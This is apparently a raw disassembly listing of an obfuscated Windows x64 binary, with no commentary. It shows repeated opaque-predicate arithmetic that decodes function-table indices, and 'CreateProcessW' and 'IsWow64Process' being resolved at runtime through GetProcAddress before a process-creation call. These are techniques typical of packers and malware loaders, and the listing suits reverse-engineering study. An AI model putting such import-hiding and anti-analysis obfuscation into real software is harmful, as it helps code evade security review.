call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x140003a90
mov r8d, dword [rcx]
jmp 0x14000414d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x140003bbd
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140003b7e
xorpd xmm0, xmm0
nop word cs:[rax + rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140003b7e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140005322
jp 0x140005322
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003b10
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004025
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140003cfd
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140003cbe
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140003cbe
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x14000711f
jp 0x14000711f
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003c50
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x140003e16
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140003dd7
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140003dd7
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x14000715f
jp 0x14000715f
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003d69
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1a8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140003ede
xorpd xmm0, xmm0
nop word cs:[rax + rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140003ede
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140005362
jp 0x140005362
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003e70
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1a8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140003fde
xorpd xmm0, xmm0
nop
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140003fde
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400053a3
jp 0x1400053a3
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140003f70
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x14000414d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1f0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000410e
xorpd xmm0, xmm0
nop word cs:[rax + rax]
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000410e
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400053e3
jp 0x1400053e3
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400040a0
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea rdx, [0x14011f5e0]
movapd xmm0, xmmword [str.CreatePr]
movapd xmmword [rsp + 0x430], xmm0
movabs rcx, 0x7300650063006f
mov qword [rsp + 0x440], rcx
mov dword [rsp + 0x448], 0x570073
mov word [rsp + 0x44c], 0
lea rcx, [rsp + 0x430]
call qword [rdx + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400064ac
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x40], rcx
xorpd xmm6, xmm6
movupd xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r15d, r15d
lea rcx, [rsp + 0x640]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
test rax, rax
je 0x1400064af
movupd xmmword [rsp + 0x43e], xmm6
movapd xmmword [rsp + 0x430], xmm6
test r13b, r13b
je 0x140004929
movups xmm0, xmmword [0x1401a3afe]
movups xmmword [rsp + 0x13e], xmm0
movupd xmm0, xmmword [0x1401a3af0]
movapd xmmword [rsp + 0x130], xmm0
lea rcx, [0x14011d578]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140009431
lea rcx, [0x14011d558]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x140004272
mov r8d, dword [rcx]
jmp 0x1400048b1
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x140004382
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e0]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004346
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004346
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140007b2d
jp 0x140007b2d
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400042e1
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400047a2
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x1400044b3
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e8]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004477
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004477
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008c0f
jp 0x140008c0f
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140004412
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x1400045bd
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1f0]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004581
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004581
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008c46
jp 0x140008c46
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x14000451c
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b8]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000466f
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000466f
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140007b64
jp 0x140007b64
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x14000460a
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1b8]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000475e
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000475e
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140007b9c
jp 0x140007b9c
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400046f9
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x1400048b1
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b210]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004875
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004875
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140007bd3
jp 0x140007bd3
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140004810
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea rdx, [0x14011f4f0]
movapd xmm0, xmmword [str.IsWow64P]
movapd xmmword [rsp + 0x130], xmm0
movabs rcx, 0x650063006f0072
mov qword [rsp + 0x140], rcx
mov dword [rsp + 0x148], 0x730073
mov word [rsp + 0x14c], 0
lea rcx, [rsp + 0x130]
call qword [rdx + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400064ac
mov rcx, qword [rsp + 0xf0]
lea rdx, [rsp + 0x46c]
call rax
movups xmm0, xmmword [0x1401a3b1c]
movups xmmword [rsp + 0x41e], xmm0
movupd xmm0, xmmword [0x1401a3b0e]
movapd xmmword [rsp + 0x410], xmm0
lea rcx, [0x14011d5b8]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x1400092f0
lea rcx, [0x14011d598]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x14000497b
mov r8d, dword [rcx]
jmp 0x140005014
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x140004a9a
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e8]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004a5b
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004a5b
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x1400071c8
jp 0x1400071c8
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400049ed
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004ef6
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140004bda
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1f0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004b9b
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004b9b
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008b66
jp 0x140008b66
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140004b2d
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x140004cf3
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b210]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004cb4
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004cb4
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008ba6
jp 0x140008ba6
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140004c46
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004db1
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004db1
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140007208
jp 0x140007208
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140004d43
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e0]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004eaf
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004eaf
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140007249
jp 0x140007249
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140004e41
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x140005014
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b230]
